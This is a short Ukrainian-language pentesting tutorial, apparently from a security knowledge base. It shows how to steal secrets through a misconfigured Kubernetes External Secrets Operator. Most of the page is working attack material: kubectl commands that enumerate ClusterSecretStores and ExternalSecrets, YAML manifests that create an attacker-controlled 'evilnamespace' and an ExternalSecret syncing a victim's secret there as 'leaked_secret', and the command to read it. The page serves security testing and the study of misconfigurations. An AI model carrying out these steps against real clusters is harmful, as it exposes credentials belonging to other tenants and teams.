External Secret Operator

Reading time: 2 minutes

Оригінальний автор цієї сторінки Fares

Ця сторінка надає кілька порад про те, як ви можете вкрасти секрети з неправильно налаштованого ESO або програми, яка використовує ESO для синхронізації своїх секретів.

Відмова від відповідальності

Техніка, показана нижче, може працювати лише за певних обставин. Наприклад, це залежить від вимог, необхідних для дозволу синхронізації секрету в просторі імен, яким ви володієте / який ви скомпрометували. Вам потрібно з'ясувати це самостійно.

Передумови

  1. Наявність доступу до кластера kubernetes / openshift з адміністративними привілеями в просторі імен
  2. Доступ на читання принаймні до ExternalSecret на рівні кластера
  3. З'ясуйте, чи є якісь необхідні мітки / анотації або членство в групі, які дозволяють ESO синхронізувати ваш секрет. Якщо вам пощастить, ви зможете вільно вкрасти будь-який визначений секрет.

Збір інформації про існуючий ClusterSecretStore

Припустимо, що у вас є користувач, який має достатньо прав для читання цього ресурсу; почніть з того, щоб спочатку перерахувати існуючі ClusterSecretStores.

sh
kubectl get ClusterSecretStore

ExternalSecret enumeration

Припустимо, ви знайшли ClusterSecretStore з назвою mystore. Продовжте, перераховуючи його асоційовані externalsecret.

sh
kubectl get externalsecret -A | grep mystore

Цей ресурс має область видимості простору імен, тому, якщо ви ще не знаєте, в якому просторі імен шукати, додайте опцію -A, щоб переглянути всі простори імен.

Вам слід отримати список визначених externalsecret. Припустимо, ви знайшли об'єкт externalsecret під назвою mysecret, визначений і використаний простором імен mynamespace. Зберіть трохи більше інформації про те, який тип секрету він містить.

sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Збирання частин

З цього місця ви можете отримати назву одного або кількох секретів (як визначено в ресурсі Secret). Ви отримаєте вихідні дані, подібні до:

yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Отже, ми отримали:

  • Ім'я ClusterSecretStore
  • Ім'я ExternalSecret
  • Ім'я секрету

Тепер, коли у нас є все необхідне, ви можете створити ExternalSecret (і, в кінцевому підсумку, виправити/створити новий Namespace, щоб відповідати вимогам, необхідним для синхронізації вашого нового секрету):

yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Після кількох хвилин, якщо умови синхронізації були виконані, ви повинні мати можливість переглянути витік секрету у вашому просторі імен.

sh
kubectl get secret leaked_secret -o yaml

Посилання

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets.